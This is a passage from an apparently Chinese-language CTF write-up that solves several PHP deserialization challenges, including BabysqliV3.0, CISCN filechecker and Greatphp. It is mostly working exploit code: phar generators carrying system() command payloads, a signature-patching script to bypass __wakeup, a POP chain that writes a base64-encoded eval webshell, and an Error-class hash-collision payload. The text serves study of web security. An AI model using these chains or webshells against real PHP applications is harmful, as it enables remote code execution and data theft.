private $funcs;

public function __construct($path) {
$file=new File();
$file->filename="/flag.txt";
$this->files = array($file);
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
$User=new User();
?>

这个重点审阅class.php

1
2
3
public function close() {
return file_get_contents($this->filename);
}

这里需要调用到close()

1
2
3
public function __destruct() {
$this->db->close();
}

但这里只能读取不能输出,所以这里需要调用FIleList中的__call()方法

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();//
}
}

这里可以用于调用$file类中的方法,并且将返回的结果存储到results数组中,而Filelost类的__destruct方法,可以将results中的内容输出出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __destruct() {
$table = '<div ><div ><table >';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" >' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" >Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td >' . htmlentities($value) . '</td>';
}
$table .= '<td filename="' . htmlentities($filename) . '"><a >下载</a> / <a >删除</a></td>';
$table .= '</tr>';
}
echo $table;
}

此时当访问不存在的方法close时,可以触发call方法,从而可以调用$file类中的close方法读出flag,存储到results数组中,在FileList的实例化对象销毁时,由destruct输出flag,而调用FileList不存在的方法close,可以利用User类中的__destruct方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class User{
public $dd;
public function __construct(){
global $db;
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct()
{
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename;
}
$User=new User();
$phar=new Phar("test1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($User);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

这里/flag.txt需要自己猜出来

1
$file->detele();

delete.php中对文件进行了操作,所以可以通过delete.php进行触发

1
filename=phar://test1.png

[GXYCTF2019]BabysqliV3.0

登录界面为弱口令,账号为admin,密码为password

登录后观察可以url末尾为file=的格式,怀疑存在文件包含,并且自动添加 .php,通过php伪协议读取upload.php和home.php

156

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
home.php
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}

}
else{
die("no permission!");
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
upload.php
<?php

error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

这里网上的非预期解1我没有试出来,可能是被我注入的时候覆盖掉了,就是通过

1
2
3
4
5
6
7
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}

这里可以通过构造获取目录下flag文件

1
2
3
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}

filename可以通过name变量进行赋值

即可以构造/home.php?file=upload&name=/var/www/html/flag.php(这里直接使用这种方法,就需要猜名字),访问后随便上传一个符合要求的文件即可获得flag

非预期解2就比较好理解了,代码审阅可以发现,上传文件并没有限制,所以可以直接往里面写一句话木马

预期解

审计代码发现eval($this->cmd),即可以构造cmd=’echo system(eval($_GET[“hack”]);’,通过传入类似一句话木马进行读取,而触发eval($this->cmd)则需要构造$this->token = $_SESSION[‘user’],而执行这个就需要触发__destruct()魔术方法,这里就可以通过phar反序列化进行

$this->token = $_SESSION[‘user’]可以通过先上传一个符合要求的文件

157

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Uploader
{
public $Filename = 'aa';
public $cmd = 'echo system($_GET["hack"]);';
public $token = 'GXY736187a3190d07559c759541392e6d51';
}
$Uploader = new Uploader();
@unlink("test2.phar");
$phar = new Phar("test2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($Uploader);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

[CISCN 2023 华北]filechecker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

class file
{
public $name;
public $data;
public $ou;
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->data='you need do something';
}
public function __call($name, $arguments)
{
// phpinfo();
return $this->ou->b='78ty7badh2';
}

public function __destruct()
{
if (@file_get_contents($this->data) == "Hellociscccn") {
$this->name->function();
}


}
}

class data
{
public $a;
public $oi;

public function __set($name, $value)
{
// TODO: Implement __set() method.
$this->yyyou();
return "hhh";
}

public function yyyou()
{
system($this->oi);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php


class file
{
public $name;
public $data="data://text/plain,Hellociscccn";
public $ou;


}

class data
{
public $a;
public $oi = "cat /flag";


}

$data = new data();
$file = new file();
$file1= new file();
$file->name=$file1;
$file1->ou=$data;
$phar=new Phar("test3.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($file);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
1
2
3
4
5
6
7
8
9
10
11
12
13
from hashlib import sha1

file=open(r'D:\phpstudy_pro\WWW\buu\test3.phar','rb').read()

s = file[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)

s = s.replace(b'"file":3:{s:4:"name";O:4:"file"', b'"file":4:{s:4:"name";O:4:"file"')# 绕过__wakeup

h = file[-8:] # 获取签名类型以及GBMB标识,各4个字节

newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

open(r'new.phar', 'wb').write(newf)

[2020 新春红包题]1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return $filename;
}

return null;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

这道题与之前的[EIS 2019]EzPOP基本一致,修改了其中一段

1
2
3
4
5
6
7
8
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

是文件名随机,并添加后缀限制不能为php,所以这里可以直接绕过php后缀,在做路径处理的时候,会递归的删除掉路径中存在的 /.

所以直接利用之前的payload进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->store = new B();
$this->key = "/../flag.php/.";
$this->cache=array();
$this->expire = null;

$this->autosave=false;
$this->complete=base64_encode("xxx".'PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4');
}
}

class B {
public $options=array();
public function __construct(){

$this->options['data_compress']=false;
$this->options['serialize']="base64_decode";
$this->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';
}
}

$A=new A();
echo urlencode(serialize($A));

158

[极客大挑战 2020]Greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

这里需要使syc和lover的值不同,同时进行md5和sha1时的值相同,并且绕过过滤,才能执行eval($this->syc)

由于()这里被过滤了无法调用函数,尝试使用include “/flag”,但由于“”也被过滤,这里就通过url取反进行绕过

然后就是需要考虑如何绕过if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )这里就需要error原生类的调用了(适用于php7版本),由于Error的toString是无法完全控制的,会有其他输出,所以使用?><?=的方式结束php从而完整控制整块代码(由于toString生成的结果包含当前代码所在的行,因此2个实例必须在同一行)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class SYCLOVER
{
public $syc;
public $lover;
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$s=new SYCLOVER();
$s->syc=$a;
$s->lover=$b;
echo(urlencode(serialize($s)));

评论